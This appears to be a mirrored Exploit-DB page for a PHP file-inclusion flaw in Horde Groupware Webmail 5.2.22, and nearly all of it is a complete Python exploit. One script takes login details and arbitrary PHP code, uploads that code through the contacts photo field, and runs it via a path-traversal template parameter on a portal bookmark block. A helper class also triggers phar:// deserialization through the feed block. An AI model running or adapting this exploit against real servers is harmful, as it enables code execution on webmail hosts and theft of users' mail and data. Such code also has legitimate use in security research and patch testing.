Horde Groupware Webmail Edition 5.2.22 – PHP File Inclusion

  • 作者: Andrea Cardaci
    日期: 2020-03-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48209/
  • ## exploit-inc-inclusion.py
    #!/usr/bin/env python3
    from horde import Horde
    import subprocess
    import sys
    
    TEMP_DIR = '/tmp'
    
    if len(sys.argv) < 5:
    print('Usage: <base_url> <username> <password> <filename> <php_code>')
    sys.exit(1)
    
    base_url = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    filename = sys.argv[4]
    php_code = sys.argv[5]
    
    # log into the web application
    horde = Horde(base_url, username, password)
    
    # upload (delete manually) and evaluate the .inc file
    horde.upload_to_tmp('{}.inc'.format(filename), '<?php {} die();'.format(php_code))
    horde.include_remote_inc_file('{}/{}'.format(TEMP_DIR, filename))
    ## exploit-inc-inclusion.py EOF
    
    
    
    ## horde.py
    import re
    import requests
    
    class Horde():
    def __init__(self, base_url, username, password):
    self.base_url = base_url
    self.username = username
    self.password = password
    self.session = requests.session()
    self.token = None
    self._login()
    
    def _login(self):
    url = '{}/login.php'.format(self.base_url)
    data = {
    'login_post': 1,
    'horde_user': self.username,
    'horde_pass': self.password
    }
    response = self.session.post(url, data=data)
    token_match = re.search(r'"TOKEN":"([^"]+)"', response.text)
    assert (
    len(response.history) == 1 and
    response.history[0].status_code == 302 and
    response.history[0].headers['location'] == '/services/portal/' and
    token_match
    ), 'Cannot log in'
    self.token = token_match.group(1)
    
    def upload_to_tmp(self, filename, data):
    url = '{}/turba/add.php'.format(self.base_url)
    files = {
    'object[photo][img][file]': (None, filename),
    'object[photo][new]': ('x', data)
    }
    response = self.session.post(url, files=files)
    assert response.status_code == 200, 'Cannot upload the file to tmp'
    
    def include_remote_inc_file(self, path):
    # vulnerable block (alternatively 'trean:trean_Block_Mostclicked')
    app = 'trean:trean_Block_Bookmarks'
    
    # add one dummy bookmark (to be sure)
    url = '{}/trean/add.php'.format(self.base_url)
    data = {
    'actionID': 'add_bookmark',
    'url': 'x'
    }
    response = self.session.post(url, data=data)
    assert response.status_code == 200, 'Cannot add the bookmark'
    
    # add bookmark block
    url = '{}/services/portal/edit.php'.format(self.base_url)
    data = {
    'token': self.token,
    'row': 0,
    'col': 0,
    'action': 'save-resume',
    'app': app,
    }
    response = self.session.post(url, data=data)
    assert response.status_code == 200, 'Cannot add the bookmark block'
    
    # edit bookmark block
    url = '{}/services/portal/edit.php'.format(self.base_url)
    data = {
    'token': self.token,
    'row': 0,
    'col': 0,
    'action': 'save',
    'app': app,
    'params[template]': '../../../../../../../../../../../' + path
    }
    response = self.session.post(url, data=data)
    assert response.status_code == 200, 'Cannot edit the bookmark block'
    
    # evaluate the remote file
    url = '{}/services/portal/'.format(self.base_url)
    response = self.session.get(url)
    print(response.text)
    
    # remove the bookmark block so to not break the page
    url = '{}/services/portal/edit.php'.format(self.base_url)
    data = {
    # XXX token not needed here
    'row': 0,
    'col': 0,
    'action': 'removeBlock'
    }
    response = self.session.post(url, data=data)
    assert response.status_code == 200, 'Cannot reset the bookmark block'
    
    def trigger_phar(self, path):
    # vulnerable block (alternatively the same can be obtained by creating a
    # bookmark with the PHAR path and clocking on it)
    app = 'horde:horde_Block_Feed'
    
    # add syndicated feed block
    url = '{}/services/portal/edit.php'.format(self.base_url)
    data = {
    'token': self.token,
    'row': 0,
    'col': 0,
    'action': 'save-resume',
    'app': app,
    }
    response = self.session.post(url, data=data)
    assert response.status_code == 200, 'Cannot add the syndicated feed block'
    
    # edit syndicated feed block
    url = '{}/services/portal/edit.php'.format(self.base_url)
    data = {
    'token': self.token,
    'row': 0,
    'col': 0,
    'action': 'save',
    'app': app,
    'params[uri]': 'phar://{}'.format(path)
    }
    response = self.session.post(url, data=data)
    assert response.status_code == 200, 'Cannot edit the syndicated feed block'
    
    # load the PHAR archive
    url = '{}/services/portal/'.format(self.base_url)
    response = self.session.get(url)
    
    # remove the syndicated feed block so to not break the page
    url = '{}/services/portal/edit.php'.format(self.base_url)
    data = {
    # XXX token not needed here
    'row': 0,
    'col': 0,
    'action': 'removeBlock'
    }
    response = self.session.post(url, data=data)
    assert response.status_code == 200, 'Cannot reset the syndicated feed block'
    ## horde.py EOF